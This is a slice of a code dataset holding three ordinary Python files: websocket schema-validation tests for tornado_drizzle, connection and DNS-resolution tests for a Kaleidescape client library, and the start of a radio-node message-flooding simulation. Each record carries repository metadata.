'VALIDATION_ERROR',\n                'error': 'Expected Json encodable string',\n                'request_id': None\n            }\n        )\n\n    @tornado.testing.gen_test\n    def test_expected_msg_validate_required_fields(self):\n        \"\"\"\n            request should be in valid against schema\n        \"\"\"\n        global request_id\n\n        client_socket = yield tornado.websocket.websocket_connect(self.ws_url)\n        required_fields = [\n            \"resource\",\n            \"action\",\n            \"request_id\"\n        ]\n\n        for required_field in required_fields:\n            req_msg = deepcopy(client_msg)\n            request_id = request_id + 1\n            req_msg['request_id'] = request_id\n            req_msg.pop(required_field)\n            client_socket.write_message(json.dumps(req_msg))\n            res_msg = yield client_socket.read_message()\n            json_msg = json.loads(res_msg)\n            self.assertTrue(\n                \"'{}' is a required property\".format(required_field) in json_msg['error']\n            )\n\n    @tornado.testing.gen_test\n    def test_expected_msg_validate_string_key(self):\n        \"\"\"\n            request should be in valid against schema\n        \"\"\"\n        global request_id\n        str_type_validation_key = [\n            \"resource\",\n            \"action\",\n        ]\n        client_socket = yield tornado.websocket.websocket_connect(self.ws_url)\n        for k in str_type_validation_key:\n            req_msg = deepcopy(client_msg)\n            request_id = request_id + 1\n            req_msg['request_id'] = request_id\n            req_msg[k] = 100\n            client_socket.write_message(json.dumps(req_msg))\n            res_msg = yield client_socket.read_message()\n            json_msg = json.loads(res_msg)\n            self.assertTrue(\n                \"{} is not of type 'string'\".format(req_msg[k]) in json_msg['error'] and\n                k in json_msg['error']\n            )\n\n    @tornado.testing.gen_test\n    def test_expected_msg_invalid_resource(self):\n        \"\"\"\n            request should be in valid against schema\n        \"\"\"\n        global request_id\n        client_socket = yield tornado.websocket.websocket_connect(self.ws_url)\n        req_msg = deepcopy(client_msg)\n        req_msg['resource'] = 'invalid_resource'\n        request_id = request_id + 1\n        req_msg['request_id'] = request_id\n        client_socket.write_message(json.dumps(req_msg))\n        res_msg = yield client_socket.read_message()\n        json_msg = json.loads(res_msg)\n        self.assertTrue(\n            \"resource 'invalid_resource' not found in drizzle_handler_routes\" in json_msg['error']\n        )\n\n    @tornado.testing.gen_test\n    def test_expected_msg_invalid_action(self):\n        \"\"\"\n            request should be in valid against schema\n        \"\"\"\n        global request_id\n        client_socket = yield tornado.websocket.websocket_connect(self.ws_url)\n        req_msg = deepcopy(client_msg)\n        req_msg['action'] = 'invalid_action'\n        request_id = request_id + 1\n        req_msg['request_id'] = request_id\n        client_socket.write_message(json.dumps(req_msg))\n        res_msg = yield client_socket.read_message()\n        json_msg = json.loads(res_msg)\n        self.assertTrue(\n            \"action definition 'invalid_action' not found in handler\" in json_msg['error']\n        )\n\n    @tornado.testing.gen_test\n    def test_expected_msg_invalid_action_prop(self):\n        \"\"\"\n            request should be in valid against schema\n        \"\"\"\n        global request_id\n        client_socket = yield tornado.websocket.websocket_connect(self.ws_url)\n        req_msg = deepcopy(client_msg)\n        req_msg['action'] = 'test_prop'\n        request_id = request_id + 1\n        req_msg['request_id'] = request_id\n        client_socket.write_message(json.dumps(req_msg))\n        res_msg = yield client_socket.read_message()\n        json_msg = json.loads(res_msg)\n        self.assertTrue(\n            \"action definition 'test_prop' not found in handler\" in json_msg['error']\n        )\n\n    @tornado.testing.gen_test\n    def test_expected_msg_unknown_error(self):\n        \"\"\"\n            request should be in valid against schema\n        \"\"\"\n        global request_id\n        client_socket = yield tornado.websocket.websocket_connect(self.ws_url)\n        req_msg = deepcopy(client_msg)\n        req_msg['action'] = 'test_exception'\n        request_id = request_id + 1\n        req_msg['request_id'] = request_id\n        client_socket.write_message(json.dumps(req_msg))\n        res_msg = yield client_socket.read_message()\n        json_msg = json.loads(res_msg)\n        self.assertEqual(\n            \"Unknown error\",\n            json_msg['error']\n        )\n\n    @tornado.testing.gen_test\n    def test_publish_broadcasts(self):\n        global request_id\n\n        client_socket_1 = yield tornado.websocket.websocket_connect(self.ws_url)\n        client_socket_2 = yield tornado.websocket.websocket_connect(self.ws_url)\n        client_socket_3 = yield tornado.websocket.websocket_connect(self.ws_url)\n        client_socket_4 = yield tornado.websocket.websocket_connect(self.ws_url)\n        subscription_msg = {\n            'resource': 'test',\n            'action': 'test_subscribe'\n\n        }\n        request_id = request_id + 1\n        subscription_msg['request_id'] = request_id\n        client_socket_1.write_message(json.dumps(subscription_msg))\n        yield client_socket_1.read_message()\n        request_id = request_id + 1\n        subscription_msg['request_id'] = request_id\n        client_socket_2.write_message(json.dumps(subscription_msg))\n\n        yield client_socket_2.read_message()\n        publish_msg = {\n            'resource': 'test',\n            'action': 'test_publish'\n        }\n        request_id = request_id + 1\n        publish_msg['request_id'] = request_id\n        client_socket_3.write_message(json.dumps(publish_msg))\n        yield client_socket_3.read_message()\n        client_socket_1_msg = yield client_socket_1.read_message()\n        self.assertEqual(\n            json.loads(client_socket_1_msg),\n            {\"key\": \"val\"}\n\n        )\n        client_socket_2_msg = yield client_socket_2.read_message()\n        self.assertEqual(\n            json.loads(client_socket_2_msg),\n            {\"key\": \"val\"}\n        )\n        # only client 1, 2 subscribed to test\n        # client_socket_4 should not recieve broadcast\n        # wait 2 second to recive\n        try:\n            client_socket_4_msg = yield gen.with_timeout(\n                timedelta(seconds=2),\n                client_socket_4.read_message()\n            )\n            self.assertTrue(\n                False,\n                \"client_socket_4 not subscribed but recieved msg \" + client_socket_4_msg\n            )\n        except gen.TimeoutError as e:\n            pass\n\n\nif __name__ == '__main__':\n    unittest.main()\n", "repo_name": "sajithmohan/tornado_drizzle", "sub_path": "tornado_drizzle/test/test_drizzle_web_socket.py", "file_name": "test_drizzle_web_socket.py", "file_ext": "py", "file_size_in_byte": 10782, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "tornado_drizzle.drizzle_web_socket.DrizzleWebSocket", "line_number": 14, "usage_type": "name"}, {"api_name": "tornado_drizzle.drizzle_web_socket.DrizzleHandler", "line_number": 26, "usage_type": "name"}, {"api_name": "tornado.gen.coroutine", "line_number": 28, "usage_type": "attribute"}, {"api_name": "tornado.gen", "line_number": 28, "usage_type": "name"}, {"api_name": "tornado.gen.coroutine", "line_number": 35, "usage_type": "attribute"}, {"api_name": "tornado.gen", "line_number": 35, "usage_type": "name"}, {"api_name": "tornado.gen.coroutine", "line_number": 39, "usage_type": "attribute"}, {"api_name": "tornado.gen", "line_number": 39, "usage_type": "name"}, {"api_name": "tornado.gen.coroutine", "line_number": 43, "usage_type": "attribute"}, {"api_name": "tornado.gen", "line_number": 43, "usage_type": "name"}, {"api_name": "tornado_drizzle.subscriber.publish", "line_number": 50, "usage_type": "call"}, {"api_name": "tornado.gen.coroutine", "line_number": 48, "usage_type": "attribute"}, {"api_name": "tornado.gen", "line_number": 48, "usage_type": "name"}, {"api_name": "tornado.testing.AsyncHTTPTestCase", "line_number": 53, "usage_type": "name"}, {"api_name": "tornado.ioloop.IOLoop.instance", "line_number": 62, "usage_type": "call"}, {"api_name": "tornado.ioloop.IOLoop", "line_number": 62, "usage_type": "name"}, {"api_name": "tornado.web.Application", "line_number": 69, "usage_type": "call"}, {"api_name": "tornado.web", "line_number": 69, "usage_type": "attribute"}, {"api_name": "tornado_drizzle.conf.init_drizzle", "line_number": 72, "usage_type": "call"}, {"api_name": "tornado_drizzle.subscriber.subscriptions.get", "line_number": 83, "usage_type": "call"}, {"api_name": "tornado_drizzle.subscriber.subscriptions", "line_number": 83, "usage_type": "name"}, {"api_name": "tornado.websocket.websocket_connect", "line_number": 85, "usage_type": "call"}, {"api_name": "tornado.websocket", "line_number": 85, "usage_type": "attribute"}, {"api_name": "tornado_drizzle.subscriber.subscriptions", "line_number": 87, "usage_type": "name"}, {"api_name": "tornado.gen.sleep", "line_number": 93, "usage_type": "call"}, {"api_name": "tornado.gen", "line_number": 93, "usage_type": "name"}, {"api_name": "tornado_drizzle.subscriber.subscriptions", "line_number": 94, "usage_type": "name"}, {"api_name": "tornado.testing", "line_number": 75, "usage_type": "attribute"}, {"api_name": "tornado.websocket.websocket_connect", "line_number": 108, "usage_type": "call"}, {"api_name": "tornado.websocket", "line_number": 108, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 110, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 112, "usage_type": "call"}, {"api_name": "tornado.testing", "line_number": 100, "usage_type": "attribute"}, {"api_name": "tornado.websocket.websocket_connect", "line_number": 128, "usage_type": "call"}, {"api_name": "tornado.websocket", "line_number": 128, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 132, "usage_type": "call"}, {"api_name": "tornado.testing", "line_number": 123, "usage_type": "attribute"}, {"api_name": "tornado.websocket.websocket_connect", "line_number": 149, "usage_type": "call"}, {"api_name": "tornado.websocket", "line_number": 149, "usage_type": "attribute"}, {"api_name": "copy.deepcopy", "line_number": 157, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 161, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 163, "usage_type": "call"}, {"api_name": "tornado.testing", "line_number": 142, "usage_type": "attribute"}, {"api_name": "tornado.websocket.websocket_connect", "line_number": 178, "usage_type": "call"}, {"api_name": "tornado.websocket", "line_number": 178, "usage_type": "attribute"}, {"api_name": "copy.deepcopy", "line_number": 180, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 184, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 186, "usage_type": "call"}, {"api_name": "tornado.testing", "line_number": 168, "usage_type": "attribute"}, {"api_name": "tornado.websocket.websocket_connect", "line_number": 198, "usage_type": "call"}, {"api_name": "tornado.websocket", "line_number": 198, "usage_type": "attribute"}, {"api_name": "copy.deepcopy", "line_number": 199, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 203, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 205, "usage_type": "call"}, {"api_name": "tornado.testing", "line_number": 192, "usage_type": "attribute"}, {"api_name": "tornado.websocket.websocket_connect", "line_number": 216, "usage_type": "call"}, {"api_name": "tornado.websocket", "line_number": 216, "usage_type": "attribute"}, {"api_name": "copy.deepcopy", "line_number": 217, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 221, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 223, "usage_type": "call"}, {"api_name": "tornado.testing", "line_number": 210, "usage_type": "attribute"}, {"api_name": "tornado.websocket.websocket_connect", "line_number": 234, "usage_type": "call"}, {"api_name": "tornado.websocket", "line_number": 234, "usage_type": "attribute"}, {"api_name": "copy.deepcopy", "line_number": 235, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 239, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 241, "usage_type": "call"}, {"api_name": "tornado.testing", "line_number": 228, "usage_type": "attribute"}, {"api_name": "tornado.websocket.websocket_connect", "line_number": 252, "usage_type": "call"}, {"api_name": "tornado.websocket", "line_number": 252, "usage_type": "attribute"}, {"api_name": "copy.deepcopy", "line_number": 253, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 257, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 259, "usage_type": "call"}, {"api_name": "tornado.testing", "line_number": 246, "usage_type": "attribute"}, {"api_name": "tornado.websocket.websocket_connect", "line_number": 269, "usage_type": "call"}, {"api_name": "tornado.websocket", "line_number": 269, "usage_type": "attribute"}, {"api_name": "tornado.websocket.websocket_connect", "line_number": 270, "usage_type": "call"}, {"api_name": "tornado.websocket", "line_number": 270, "usage_type": "attribute"}, {"api_name": "tornado.websocket.websocket_connect", "line_number": 271, "usage_type": "call"}, {"api_name": "tornado.websocket", "line_number": 271, "usage_type": "attribute"}, {"api_name": "tornado.websocket.websocket_connect", "line_number": 272, "usage_type": "call"}, {"api_name": "tornado.websocket", "line_number": 272, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 280, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 284, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 293, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 297, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 303, "usage_type": "call"}, {"api_name": "tornado.gen.with_timeout", "line_number": 310, "usage_type": "call"}, {"api_name": "tornado.gen", "line_number": 310, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 311, "usage_type": "call"}, {"api_name": "tornado.gen.TimeoutError", "line_number": 318, "usage_type": "attribute"}, {"api_name": "tornado.gen", "line_number": 318, "usage_type": "name"}, {"api_name": "tornado.testing", "line_number": 265, "usage_type": "attribute"}, {"api_name": "unittest.main", "line_number": 323, "usage_type": "call"}]}
{"seq_id": "9975533485", "text": "\"\"\"Tests for connection module.\"\"\"\nfrom unittest.mock import MagicMock, patch\n\nimport dns.exception\nimport pytest\nfrom dns.rdtypes.IN.A import A\n\nfrom kaleidescape import const\nfrom kaleidescape.connection import (\n    EVENT_CONNECTION_CONNECTED,\n    EVENT_CONNECTION_DISCONNECTED,\n    Connection,\n)\nfrom kaleidescape.dispatcher import Dispatcher\n\nfrom . import connection_signal\nfrom .emulator import Emulator\n\n# pylint: disable=unused-argument\n\n\ndef test_init():\n    \"\"\"Test init sets properties.\"\"\"\n    connection = Connection(Dispatcher())\n    assert isinstance(connection.dispatcher, Dispatcher)\n    assert connection.ip_address is None\n    assert connection.port == const.DEFAULT_PROTOCOL_PORT\n    assert connection.timeout == const.DEFAULT_PROTOCOL_TIMEOUT\n    assert connection.state == const.STATE_DISCONNECTED\n\n\n@pytest.mark.asyncio\nasync def test_connect_fails():\n    \"\"\"Test connect fails when host not available.\"\"\"\n    connection = Connection(Dispatcher())\n    with pytest.raises(ConnectionError) as err:\n        await connection.connect(\"127.0.0.1\", port=10001, timeout=1)\n    assert isinstance(err.value, ConnectionRefusedError)\n\n    # Also fails for initial connection even with reconnect.\n    with pytest.raises(ConnectionError) as err:\n        await connection.connect(\n            \"127.0.0.1\", port=10001, timeout=1, auto_reconnect=True\n        )\n    assert isinstance(err.value, ConnectionRefusedError)\n\n\n@pytest.mark.asyncio\nasync def test_connect_timeout():\n    \"\"\"Test connect fails when host not available.\"\"\"\n    connection = Connection(Dispatcher())\n    with pytest.raises(ConnectionError):\n        await connection.connect(\"0.0.0.1\", timeout=1)\n\n    # Also fails for initial connection even with reconnect.\n    with pytest.raises(ConnectionError):\n        await connection.connect(\"0.0.0.1\", timeout=1, auto_reconnect=True)\n\n\n@pytest.mark.asyncio\nasync def test_connect_succeeds(emulator: Emulator):\n    \"\"\"Test connect updates state and emits signal.\"\"\"\n    dispatcher = Dispatcher()\n    connection = Connection(dispatcher)\n    assert connection.state == const.STATE_DISCONNECTED\n    signal = connection_signal(dispatcher, EVENT_CONNECTION_CONNECTED)\n    await connection.connect(\"127.0.0.1\", port=10001, timeout=1)\n    await signal.wait()\n    assert connection.ip_address == \"127.0.0.1\"\n    assert connection.port == 10001\n    assert connection.timeout == 1\n    assert connection.state == const.STATE_CONNECTED\n\n\n@pytest.mark.asyncio\nasync def test_manual_disconnect(emulator: Emulator, connection: Connection):\n    \"\"\"Test disconnect updates state and emits signal.\"\"\"\n    signal = connection_signal(connection.dispatcher, EVENT_CONNECTION_DISCONNECTED)\n    await connection.disconnect()\n    await signal.wait()\n    assert connection.state == const.STATE_DISCONNECTED\n\n\n@pytest.mark.asyncio\nasync def test_event_disconnect(emulator: Emulator, connection: Connection):\n    \"\"\"Test connection error during event results in disconnected.\"\"\"\n    signal = connection_signal(connection.dispatcher, EVENT_CONNECTION_DISCONNECTED)\n    await emulator.stop()\n    await signal.wait()\n    assert connection.state == const.STATE_DISCONNECTED\n\n\n@pytest.mark.asyncio\nasync def test_reconnect_during_event(emulator: Emulator):\n    \"\"\"Test reconnect while waiting for events/responses.\"\"\"\n    dispatcher = Dispatcher()\n    connection = Connection(dispatcher)\n\n    connect_signal = connection_signal(dispatcher, EVENT_CONNECTION_CONNECTED)\n    disconnect_signal = connection_signal(dispatcher, EVENT_CONNECTION_DISCONNECTED)\n\n    # Assert connection\n    await connection.connect(\n        \"127.0.0.1\", port=10001, timeout=1, auto_reconnect=True, reconnect_delay=1\n    )\n    await connect_signal.wait()\n    assert connection.state == const.STATE_CONNECTED\n    connect_signal.clear()\n\n    # Assert transitions to reconnecting and emits disconnect signal\n    await emulator.stop()\n    await disconnect_signal.wait()\n    assert connection.state == const.STATE_RECONNECTING\n\n    # Assert reconnects once server is back up and emits connected signal\n    await emulator.start()\n    await connect_signal.wait()\n    assert connection.state == const.STATE_CONNECTED\n\n    await connection.disconnect()\n\n\n@pytest.mark.asyncio\nasync def test_reconnect_cancelled(emulator):\n    \"\"\"Test reconnect is canceled by calling disconnect.\"\"\"\n    dispatcher = Dispatcher()\n    connection = Connection(dispatcher)\n\n    connect_signal = connection_signal(dispatcher, EVENT_CONNECTION_CONNECTED)\n    disconnect_signal = connection_signal(dispatcher, EVENT_CONNECTION_DISCONNECTED)\n\n    # Assert open and fires connected\n    await connection.connect(\n        \"127.0.0.1\", port=10001, auto_reconnect=True, reconnect_delay=0.5\n    )\n    await connect_signal.wait()\n    assert connection.state == const.STATE_CONNECTED\n\n    # Assert transitions to reconnecting and emits disconnect signal\n    await emulator.stop()\n    await disconnect_signal.wait()\n    assert connection.state == const.STATE_RECONNECTING\n\n    await connection.disconnect()\n    assert connection.state == const.STATE_DISCONNECTED\n\n\n@pytest.mark.asyncio\nasync def test_resolve_succeeds(emulator: Emulator):\n    \"\"\"Test resolve when host name resolution succeeds.\"\"\"\n    with patch(\"dns.asyncresolver.Resolver.resolve\") as mock:\n        mock.return_value = [MagicMock(spec=A)]\n        mock.return_value[0].to_text.side_effect = [\n            \"127.0.0.1\",  # 1st call: mDSN succeeds\n            dns.exception.DNSException,  # 2nd call: mDSN fails\n            \"127.0.0.1\"  # 2nd call: DSN succeeds\n        ]\n        # First call simulates mDNS lookup\n        assert await Connection.resolve(\"my-kaleidescape\") == \"127.0.0.1\"\n        # Second call simulates DNS lookup\n        assert await Connection.resolve(\"some-kaleidescape\") == \"127.0.0.1\"\n\n\n@pytest.mark.asyncio\nasync def test_resolve_fails(emulator: Emulator):\n    \"\"\"Test resolve when host name resolution fails.\"\"\"\n    with patch(\"dns.asyncresolver.Resolver.resolve\") as mock:\n        mock.return_value = [MagicMock(spec=A)]\n        mock.return_value[0].to_text.side_effect = dns.exception.DNSException\n        with pytest.raises(ConnectionError) as err:\n            assert await Connection.resolve(\"my-kaleidescape\") == \"127.0.0.1\"\n        assert isinstance(err.value, ConnectionError)\n        assert str(err.value) == \"Failed to resolve host my-kaleidescape\"\n", "repo_name": "SteveEasley/pykaleidescape", "sub_path": "tests/test_b_connection.py", "file_name": "test_b_connection.py", "file_ext": "py", "file_size_in_byte": 6364, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "kaleidescape.connection.Connection", "line_number": 24, "usage_type": "call"}, {"api_name": "kaleidescape.dispatcher.Dispatcher", "line_number": 24, "usage_type": "call"}, {"api_name": "kaleidescape.dispatcher.Dispatcher", "line_number": 25, "usage_type": "argument"}, {"api_name": "kaleidescape.const.DEFAULT_PROTOCOL_PORT", "line_number": 27, "usage_type": "attribute"}, {"api_name": "kaleidescape.const", "line_number": 27, "usage_type": "name"}, {"api_name": "kaleidescape.const.DEFAULT_PROTOCOL_TIMEOUT", "line_number": 28, "usage_type": "attribute"}, {"api_name": "kaleidescape.const", "line_number": 28, "usage_type": "name"}, {"api_name": "kaleidescape.const.STATE_DISCONNECTED", "line_number": 29, "usage_type": "attribute"}, {"api_name": "kaleidescape.const", "line_number": 29, "usage_type": "name"}, {"api_name": "kaleidescape.connection.Connection", "line_number": 35, "usage_type": "call"}, {"api_name": "kaleidescape.dispatcher.Dispatcher", "line_number": 35, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 36, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 41, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 32, "usage_type": "attribute"}, {"api_name": "kaleidescape.connection.Connection", "line_number": 51, "usage_type": "call"}, {"api_name": "kaleidescape.dispatcher.Dispatcher", "line_number": 51, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 52, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 56, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 48, "usage_type": "attribute"}, {"api_name": "emulator.Emulator", "line_number": 61, "usage_type": "name"}, {"api_name": "kaleidescape.dispatcher.Dispatcher", "line_number": 63, "usage_type": "call"}, {"api_name": "kaleidescape.connection.Connection", "line_number": 64, "usage_type": "call"}, {"api_name": "kaleidescape.const.STATE_DISCONNECTED", "line_number": 65, "usage_type": "attribute"}, {"api_name": "kaleidescape.const", "line_number": 65, "usage_type": "name"}, {"api_name": "kaleidescape.connection.EVENT_CONNECTION_CONNECTED", "line_number": 66, "usage_type": "argument"}, {"api_name": "kaleidescape.const.STATE_CONNECTED", "line_number": 72, "usage_type": "attribute"}, {"api_name": "kaleidescape.const", "line_number": 72, "usage_type": "name"}, {"api_name": "pytest.mark", "line_number": 60, "usage_type": "attribute"}, {"api_name": "emulator.Emulator", "line_number": 76, "usage_type": "name"}, {"api_name": "kaleidescape.connection.Connection", "line_number": 76, "usage_type": "name"}, {"api_name": "kaleidescape.connection.EVENT_CONNECTION_DISCONNECTED", "line_number": 78, "usage_type": "argument"}, {"api_name": "kaleidescape.const.STATE_DISCONNECTED", "line_number": 81, "usage_type": "attribute"}, {"api_name": "kaleidescape.const", "line_number": 81, "usage_type": "name"}, {"api_name": "pytest.mark", "line_number": 75, "usage_type": "attribute"}, {"api_name": "emulator.Emulator", "line_number": 85, "usage_type": "name"}, {"api_name": "kaleidescape.connection.Connection", "line_number": 85, "usage_type": "name"}, {"api_name": "kaleidescape.connection.EVENT_CONNECTION_DISCONNECTED", "line_number": 87, "usage_type": "argument"}, {"api_name": "emulator.stop", "line_number": 88, "usage_type": "call"}, {"api_name": "kaleidescape.const.STATE_DISCONNECTED", "line_number": 90, "usage_type": "attribute"}, {"api_name": "kaleidescape.const", "line_number": 90, "usage_type": "name"}, {"api_name": "pytest.mark", "line_number": 84, "usage_type": "attribute"}, {"api_name": "emulator.Emulator", "line_number": 94, "usage_type": "name"}, {"api_name": "kaleidescape.dispatcher.Dispatcher", "line_number": 96, "usage_type": "call"}, {"api_name": "kaleidescape.connection.Connection", "line_number": 97, "usage_type": "call"}, {"api_name": "kaleidescape.connection.EVENT_CONNECTION_CONNECTED", "line_number": 99, "usage_type": "argument"}, {"api_name": "kaleidescape.connection.EVENT_CONNECTION_DISCONNECTED", "line_number": 100, "usage_type": "argument"}, {"api_name": "kaleidescape.const.STATE_CONNECTED", "line_number": 107, "usage_type": "attribute"}, {"api_name": "kaleidescape.const", "line_number": 107, "usage_type": "name"}, {"api_name": "emulator.stop", "line_number": 111, "usage_type": "call"}, {"api_name": "kaleidescape.const.STATE_RECONNECTING", "line_number": 113, "usage_type": "attribute"}, {"api_name": "kaleidescape.const", "line_number": 113, "usage_type": "name"}, {"api_name": "emulator.start", "line_number": 116, "usage_type": "call"}, {"api_name": "kaleidescape.const.STATE_CONNECTED", "line_number": 118, "usage_type": "attribute"}, {"api_name": "kaleidescape.const", "line_number": 118, "usage_type": "name"}, {"api_name": "pytest.mark", "line_number": 93, "usage_type": "attribute"}, {"api_name": "kaleidescape.dispatcher.Dispatcher", "line_number": 126, "usage_type": "call"}, {"api_name": "kaleidescape.connection.Connection", "line_number": 127, "usage_type": "call"}, {"api_name": "kaleidescape.connection.EVENT_CONNECTION_CONNECTED", "line_number": 129, "usage_type": "argument"}, {"api_name": "kaleidescape.connection.EVENT_CONNECTION_DISCONNECTED", "line_number": 130, "usage_type": "argument"}, {"api_name": "kaleidescape.const.STATE_CONNECTED", "line_number": 137, "usage_type": "attribute"}, {"api_name": "kaleidescape.const", "line_number": 137, "usage_type": "name"}, {"api_name": "emulator.stop", "line_number": 140, "usage_type": "call"}, {"api_name": "kaleidescape.const.STATE_RECONNECTING", "line_number": 142, "usage_type": "attribute"}, {"api_name": "kaleidescape.const", "line_number": 142, "usage_type": "name"}, {"api_name": "kaleidescape.const.STATE_DISCONNECTED", "line_number": 145, "usage_type": "attribute"}, {"api_name": "kaleidescape.const", "line_number": 145, "usage_type": "name"}, {"api_name": "pytest.mark", "line_number": 123, "usage_type": "attribute"}, {"api_name": "emulator.Emulator", "line_number": 149, "usage_type": "name"}, {"api_name": "unittest.mock.patch", "line_number": 151, "usage_type": "call"}, {"api_name": "unittest.mock.MagicMock", "line_number": 152, "usage_type": "call"}, {"api_name": "dns.rdtypes.IN.A.A", "line_number": 152, "usage_type": "name"}, {"api_name": "dns.exception.exception", "line_number": 155, "usage_type": "attribute"}, {"api_name": "dns.exception", "line_number": 155, "usage_type": "name"}, {"api_name": "kaleidescape.connection.Connection.resolve", "line_number": 159, "usage_type": "call"}, {"api_name": "kaleidescape.connection.Connection", "line_number": 159, "usage_type": "name"}, {"api_name": "kaleidescape.connection.Connection.resolve", "line_number": 161, "usage_type": "call"}, {"api_name": "kaleidescape.connection.Connection", "line_number": 161, "usage_type": "name"}, {"api_name": "pytest.mark", "line_number": 148, "usage_type": "attribute"}, {"api_name": "emulator.Emulator", "line_number": 165, "usage_type": "name"}, {"api_name": "unittest.mock.patch", "line_number": 167, "usage_type": "call"}, {"api_name": "unittest.mock.MagicMock", "line_number": 168, "usage_type": "call"}, {"api_name": "dns.rdtypes.IN.A.A", "line_number": 168, "usage_type": "name"}, {"api_name": "dns.exception.exception", "line_number": 169, "usage_type": "attribute"}, {"api_name": "dns.exception", "line_number": 169, "usage_type": "name"}, {"api_name": "pytest.raises", "line_number": 170, "usage_type": "call"}, {"api_name": "kaleidescape.connection.Connection.resolve", "line_number": 171, "usage_type": "call"}, {"api_name": "kaleidescape.connection.Connection", "line_number": 171, "usage_type": "name"}, {"api_name": "pytest.mark", "line_number": 164, "usage_type": "attribute"}]}
{"seq_id": "30598372825", "text": "from cProfile import label\nimport numpy as np\nimport math\nimport matplotlib.pyplot as plt\nfrom matplotlib.cm import get_cmap\nfrom matplotlib.ticker import (AutoMinorLocator, MultipleLocator)\nimport random\n\n\nname = \"tab10\"\ncmap = get_cmap(name)  # type: matplotlib.colors.ListedColormap\ncolors = cmap.colors  # type: list\n\nplot = False\n\nnodes = []\nmessages = []\n\n\n#Simuloitavien solmujen lukumäärä\nnumber_of_nodes = 50\narea = 10000\nmin_dist = 100\nradio_range = 15000\nrx_threshold = 1e-8\nM = 3\n\n\nclass Node:\n    def __init__(self, x, y, pwr) -> None:\n        self.x = x\n        self.y = y\n        self.pwr = pwr\n        self.messages = []\n        self.tx_slots = []\n\n\nclass Message:\n    def __init__(self, hops, index, sent) -> None:\n        self.sender = Node\n        self.index = index\n        self.hops = hops\n        self.sent = sent\n        self.nodes = []\n\n#Apufunktio solmujen luomiseen\ndef create_nodes(num, pwr):\n    for i in range(num):\n        y = random.randint(0, area)\n        x = random.randint(0, area)\n        try:\n            for node2 in nodes:\n                dist = (math.sqrt((node2.x - x) ** 2 + (node2.y - y) ** 2))\n                if dist <= min_dist:\n                    y = random.randint(0, area)\n                    x = random.randint(0, area)\n                    raise Exception\n        except Exception:\n            continue\n\n        node_ = Node(x, y, pwr)\n        nodes.append(node_)\n        i += 1\n\n\ndef test_nodes1():\n    node1 = Node(1500, 1500, 1)\n    node2 = Node(4500, 4500, 3)\n    node3 = Node(3000, 3000, 2)\n    node4 = Node(3500, 2500, 4)\n    node5 = Node(4500, 3500, 5)\n    node6 = Node(2500, 2500, 5)\n    nodes.append(node1)\n    nodes.append(node2)\n    nodes.append(node3)\n    nodes.append(node4)\n    nodes.append(node5)\n    nodes.append(node6)\n\n\ndef test_nodes2():\n    node1 = Node(1500, 1500, 1)\n    node2 = Node(3500, 3500, 3)\n    node3 = Node(2500, 2500, 2)\n    node4 = Node(20, 2000, 4)\n    # node5 = Node(45,35,5)\n    # node6 = Node(25,25,5)\n    nodes.append(node1)\n    nodes.append(node2)\n    nodes.append(node3)\n    nodes.append(node4)\n    # nodes.append(node5)\n    # nodes.append(node6)\n\n\ndef in_range(node1, node2):\n    dist = (math.sqrt((node1.x - node2.x) ** 2 + (node1.y - node2.y) ** 2))\n    if dist < radio_range:\n        return True\n    else:\n        return False\n\n\ndef dist(node1, node2):\n    return (math.sqrt((node1.x - node2.x) ** 2 + (node1.y - node2.y) ** 2))\n\n\ndef draw_arrow(tx, rx, color_index):\n    offset = 0\n    dx1 = (rx.x - tx.x)\n    dy1 = (rx.y - tx.y)\n    alpha = math.atan2(dy1, dx1)\n    if alpha < 0:\n        alpha += 2 * math.pi\n\n    dx = dx1 - math.cos(alpha) * offset * np.sign(rx.x - tx.x)\n    dy = dy1 - math.sin(alpha) * offset * np.sign(rx.y - tx.y)\n    if plot == True:\n        plt.arrow(tx.x, tx.y, dx, dy, head_width=area / 200, color=colors[color_index % len(colors)],\n                  length_includes_head=True)\n\n#Apufunktio solmujen luomiseen\ndef add_message(node, id, slot):\n    msg = Message(0, id, 0)\n    messages.append(msg)\n    while len(msg.nodes) < slot + 1:\n        lst = []\n        msg.nodes.append(lst)\n    msg.nodes[slot].append(node)\n    node.messages.append(msg)\n    node.tx_slots.append(slot)\n    if plot == True:\n        circle1 = plt.Circle((node.x, node.y), area / 90, fill=True)\n        circle = plt.Circle((node.x, node.y), area / 90, fill=True)\n        ax.add_patch(circle1)\n        ax.add_patch(circle)\n\n\ndef receive(hops, rx):\n    noise = rx_threshold\n    rx_power = 0.0\n    rx_message = 0\n    final_tx_nodes = []\n    # Tarkasta, ettei vastaanottaja lähetä samainaikaisesti\n    if hops not in rx.tx_slots:\n        for message in messages:\n            tx_nodes = []\n            if len(message.nodes) <= hops + 1:\n                message.nodes.append([])\n            power = 0.0\n            for node in message.nodes[hops]:\n                if in_range(node, rx):\n                    